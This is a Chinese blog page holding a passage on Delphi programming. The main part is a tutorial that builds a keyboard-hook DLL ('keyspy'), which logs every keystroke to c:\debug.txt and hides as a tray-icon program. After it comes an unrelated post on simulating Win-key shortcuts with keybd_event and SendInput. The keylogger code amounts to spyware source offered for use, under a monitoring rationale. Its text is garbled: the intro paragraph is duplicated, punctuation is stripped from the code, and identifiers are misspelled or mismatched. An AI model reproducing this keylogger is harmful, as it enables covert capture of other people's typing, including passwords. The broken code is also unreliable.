在许多系统中，出于安全或其它原因，常常要求随时对键盘进行监控，一个专业的监控程序必须具备两点，一是实时；二是作为指示图标运行。实际应用中把利用 Hook（即钩子）技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上，根据在 Delphi开发环境中的具体实现分别对这两部分进行详细论述。
一、Hook(钩子)的实现：Hook是应用程序在MicrosoftWindows消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现，若应用程序不是当前窗口时，该Hook就不起作用；如果Hook在DLL中实现，程序在运行中动态调用它，它能实时对系统进行监控。根据需要，我们采用的是在DLL中实现Hook的方式。


在许多系统中，出于安全或其它原因，常常要求随时对键盘进行监控，一个专业的监控程序必须具备两点，一是实时；二是作为指示图标运行。实际应用中把利用 Hook（即钩子）技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上，根据在 Delphi开发环境中的具体实现分别对这两部分进行详细论述。
一、Hook(钩子)的实现：Hook是应用程序在MicrosoftWindows消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现，若应用程序不是当前窗口时，该Hook就不起作用；如果Hook在DLL中实现，程序在运行中动态调用它，它能实时对系统进行监控。根据需要，我们采用的是在DLL中实现Hook的方式。
1．新建一个导出两个函数的DLL文件，在hookproc.pas中定义了钩子具体实现过程。代码如下：librarykeyspy;
useswindowsmessageshookprocin'hookproc.pas';
exportssetkeyhookendkeyhook;
beginnexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
2.在Hookproc.pas中实现了钩子具体过程：unithookproc;
interfaceusesWindowsMessagesSysUtilsControlsStdCtrls;
varnexthookproc:hhook;
procsaveexit:pointer;
functionkeyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;
stdcall;
export;
functionsetkeyhook:bool;export;//加载钩子functionendkeyhook:bool;export;//卸载钩子procedurekeyhookexit;
far;
constafilename='c:\debug.txt';//将键盘输入动作写入文件中vardebugfile:textfile;
implementationfuncionkeyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;
stdcall;
export;
beginificode<0thenbeginresult:=callnexthookex(hnexthookprocicodewparamlparam);
exit;
end;
assignfile(debugfileafilename);
append(debugfile);
ifgetkeystate(vk_return)<0thenbeginwriteln(debugfile'');
write(debugfilechar(wparam));
endelsewrite(debugfilechar(wparam));
closefile(debugfile);
result:=0;
end;
functionendkeyhook:bool;
export;
beginifnexthookproc<>0thenbeginunhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0);
end;
result:=hnexthookproc=0;
end;
procedurekeyhookexit;
far;
beginifnexthookproc<>0thenendkeyhook;
exitproc:=procsaveexit;
end;
end.
二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon，它有两个参数，一个是指向TnotifyIconData结构的指针，另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中，使其作为图标运行增加专业特色。当程序起动后，用鼠标右键点击图标，则弹出一个菜单，可选择sethook或endhook。
unitkb;
interfaceusesWindowsMessagesSysUtilsClassesGraphicsControlsFormsDialogsStdCtrlsMenusshellapi;
consticon_id=1;
MI_iconevent=wm_user+1;//定义一个用户消息typeTForm1=class(TForm)
PopupMenu1:TPopupMenu;
sethook1:TMenuItem;
endhook1:TMenuItem;
N1:TMenuItem;
About1:TMenuItem;
Close1:TMenuItem;
Gettext1:TMenuItem;
procedureFormCreate(Sender:TObject);
proceduresethook1Click(Sender:TObject);
procedureendhook1Click(Sender:TObject);
procedureFormDestroy(Sender:TObject);
procedureClose1Click(Sender:TObject);
private{Privatedeclarations}
nid:tnotifyicondata;
normalicon:ticon;
public{Publicdeclarations}
procedureicontray(varmsg:tmessage);
messagemi_iconevent;
end;
varForm1:TForm1;
implementation{$R*.DFM}
functionsetkeyhook:bool;
external'keyspy.dll';
functionendkeyhook:bool;
external'keyspy.dll';
proceduretform1.icontray(varmsg:tmessage);
varpt:tpoint;
beginifmsg.lparam=wm_lbuttondownthensethook1click(self);
ifmsg.LParam=wm_rbuttondownthenbegingetcursorpos(pt);
setforegroundwindow(handle);
popupmenu1.popup(pt.xpt.y);
end;
end;
procedureTForm1.FormCreate(Sender:TObject);
beginnormalicon:=ticon.create;
application.title:=caption;
nid.cbsize:=sizeof(nid);
nid.wnd:=handle;
nid.uid:=icon_id;
nid.uflags:=nif_iconornif_messageornif_tip;
nid.ucallbackmessage:=mi_iconevent;
nid.hIcon:=normalicon.handle;
strcopy(nid.sztippchar(caption));
nid.uFlags:=nif_messageornif_iconornif_tip;shell_notifyicon(nim_add@nid);
SetWindowLong(Application.HandleGWL_EXSTYLEWS_EX_TOOLWINDOW);
end;
procedureTForm1.sethook1Click(Sender:TObject);
beginsetkeyhook;
end;
procedureTForm1.endhook1Click(Sender:TObject);
beginendkeyhook;
end;
procedureTForm1.FormDestroy(Sender:TObject);
beginnid.uFlags:=0;
shell_notifyicon(nim_delete@nid);
end;
procedureTForm1.Close1Click(Sender:TObject);
beginapplication.terminate;
end;
该程序虽然只用了几个shellai函数，但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容，我相信这篇文章能对许多Delphi的初学者有所帮助。
该程序在Win98、Delphi4.0中正常运行。

  
#建立应用软件注册安全机制

#玩转keybd_event
模拟键盘平时不是很常用, 但是当调用某些快捷键执行某项功能时, 它真的是那么的方便呀. 你不信? 看看下面的实现, 你就会大呼: 为什么不早点告诉我? 呵呵, 原来没有blog呀, 都靠这些挣分呢.

1) 显示桌面:

很多软件有显示桌面的功能, 并且大家的方法都是遍历窗口, 然后让它们最小化, 其实 win系统给咱们了一个非常方便的WIN键(就是键盘上在CTRL键和ALT键之间的那个带win标志的按键), 利用它, 可以轻松的完成显示桌面的功能.

keybd_event(VK_LWIN, 0, 0 ,0);
keybd_event('M', 0, 0 ,0);
keybd_event('M', 0, KEYEVENTF_KEYUP ,0);
keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP,0);

其他的操作也类似, 比如直接显示开始的运行,就把上面的'M'换成'R'即可。

直接 keybd_event(VK_LWIN, 0, 0 ,0);
keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP,0);

直接显示“开始”对话框了。

2) 实现快速的全选

很多的时候，比如listctrl实现全选，你可以用listctrl循环设置每一项的状态为选中，多罗索的事情呀。用快捷键试一试CTRL＋A，其他的快捷键一样的用法，呵呵，你知道怎么办了吧？

keybd_event(VK_CONTROL, (BYTE)0, 0 ,0);
keybd_event('A',(BYTE)0, 0 ,0); //此处可以用 'A', (BYTE)65, 用'a'不起作用.
keybd_event('A', (BYTE)0, KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL, (BYTE)0, KEYEVENTF_KEYUP,0);

3) 执行某些特殊的键，比如数字键，大小写，下面是数字键的例子

bool bState=true; //true为按下NumLock,false反之
BYTE keyState[256];

GetKeyboardState((LPBYTE)&keyState);
if( (bState && !(keyState[VK_NUMLOCK] & 1)) ||
(!bState && (keyState[VK_NUMLOCK] & 1)) )
{
// Simulate a key press
keybd_event( VK_NUMLOCK,
0x45,
KEYEVENTF_EXTENDEDKEY | 0,
0 );

// Simulate a key release
keybd_event( VK_NUMLOCK,
0x45,
KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP,
0);
}

4） 你想CTRL＋ALT＋DELETE三键一起按下，

keybd_event(VK_CONTROL, 0, 0 ,0);
keybd_event(VK_MENU,0, 0 ,0);
keybd_event(VK_DELETE,0, 0 ,0);

keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP ,0);
keybd_event(VK_MENU,0, KEYEVENTF_KEYUP ,0);
keybd_event(VK_DELETE,0, KEYEVENTF_KEYUP ,0);
呵呵，这样不会成功呀，因为这几个键直接是操作系统来截获执行的，而模拟键盘只能发向应用程序，所以这种方法不行的（想显示锁定对话框，用 LockWorkStation();）

5） Window2000/NT/XP已经不提倡用这个函数了，上面的方法只是为了让大家开阔一下思路，怎么替代呢，呵呵，看下面，所以上面的所有代码都可以用这个来完成

//2000下用这个代替 ,包含 "winable.h"
INPUT input[4];
memset(input, 0, sizeof(input));

input[0].type = input[1].type = input[2].type = input[3].type = INPUT_KEYBOARD;

input[0].ki.wVk = input[3].ki.wVk = VK_LWIN;
input[1].ki.wVk = input[2].ki.wVk = 'R';


//接下来释放它，这一点很重要。
input[2].ki.dwFlags = input[3].ki.dwFlags = KEYEVENTF_KEYUP;
input[0].ki.time = input[1].ki.time = input[2].ki.time = input[3].ki.time = GetTickCount();

SendInput(4, input, sizeof(INPUT));

感觉比那个有点罗索，呵呵。

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

附WIN键的部分快捷键:

WIN键+D=快速的切到桌面，再次点击返回

WIN键+E=快速打开资源管理器

WIN键+R=“运行”。

WIN键+M=全部视窗最小化。

WIN键+Shift+M=取消全部视窗最小化。

WIN键+F1=Help。

WIN键+F=“寻找”。

WIN键+Ctrl+F=显示“查找电脑”。

WIN键+Tab=切换工作列的程式。

WIN键+Break=显示系统内容。